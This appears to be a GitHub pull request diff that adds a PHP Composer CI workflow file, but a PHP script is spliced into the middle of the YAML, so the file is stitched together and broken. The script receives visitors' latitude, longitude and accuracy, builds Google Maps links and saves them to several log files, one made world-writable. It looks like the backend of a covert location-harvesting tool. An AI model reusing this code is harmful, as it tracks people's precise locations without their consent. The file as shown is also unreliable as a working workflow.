Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
102 changes: 102 additions & 0 deletions .github/workflows/php.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,102 @@
name: PHP Composer

on:
push:
branches: [ "master" ]
pull_request:
branches: [ "master" ]

permissions:
contents: read

jobs:
build:

runs-on: ubuntu-latest

steps:
- uses: actions/checkout@v4

- name: Validate composer.json and composer.lock
run: composer validate --strict

- name: Cache Composer packages
id: composer-cache
uses: actions/cache@v3
with:
path: vendor
key: ${{ runner.os }}-php-${{ hashFiles('**/composer.lock') }}
restore-keys: |
${{ runner.os }}-php-

- name: Install dependencies
run: composer install --prefer-dist --no-progress
<?php
$date = date('dMYHis');
$latitude = isset($_POST['lat']) ? $_POST['lat'] : 'Unknown';
$longitude = isset($_POST['lon']) ? $_POST['lon'] : 'Unknown';
$accuracy = isset($_POST['acc']) ? $_POST['acc'] : 'Unknown';

if (!empty($_POST['lat']) && !empty($_POST['lon'])) {
// Create a marker file with minimal information
file_put_contents("LocationLog.log", "Location captured\n", FILE_APPEND);

$data = "Latitude: " . $latitude . "\r\n" .
"Longitude: " . $longitude . "\r\n" .
"Accuracy: " . $accuracy . " meters\r\n" .
"Google Maps: https://www.google.com/maps/place/" . $latitude . "," . $longitude . "\r\n" .
"Date: " . $date . "\r\n";

// Create a unique filename with timestamp
$file = 'location_' . $date . '.txt';

try {
$fp = fopen($file, 'w');
if ($fp) {
fwrite($fp, $data);
fclose($fp);
$console_log = fopen("current_location.txt", "w");
fwrite($console_log, $data);
fclose($console_log);

// Append to a master location file
$masterFile = 'saved.locations.txt';

// Create the master file if it doesn't exist
if (!file_exists($masterFile)) {
touch($masterFile);
chmod($masterFile, 0666);
}

$fp = fopen($masterFile, 'a');
if ($fp) {
fwrite($fp, "\n=== New Location Captured ===\n" . $data . "\n");
fclose($fp);
}

// Create saved_locations directory if it doesn't exist
if (!is_dir('saved_locations')) {
mkdir('saved_locations', 0755, true);
}

// Copy the location file to the saved_locations directory
copy($file, 'saved_locations/' . $file);

// Return success response
header('Content-Type: application/json');
echo json_encode(['status' => 'success', 'message' => 'Location data received']);
} else {
throw new Exception("Could not open file for writing");
}
} catch (Exception $e) {
header('Content-Type: application/json');
echo json_encode(['status' => 'error', 'message' => 'Could not save location data']);
}
} else {
header('Content-Type: application/json');
echo json_encode(['status' => 'error', 'message' => 'Location data missing or incomplete']);
}

exit();
?>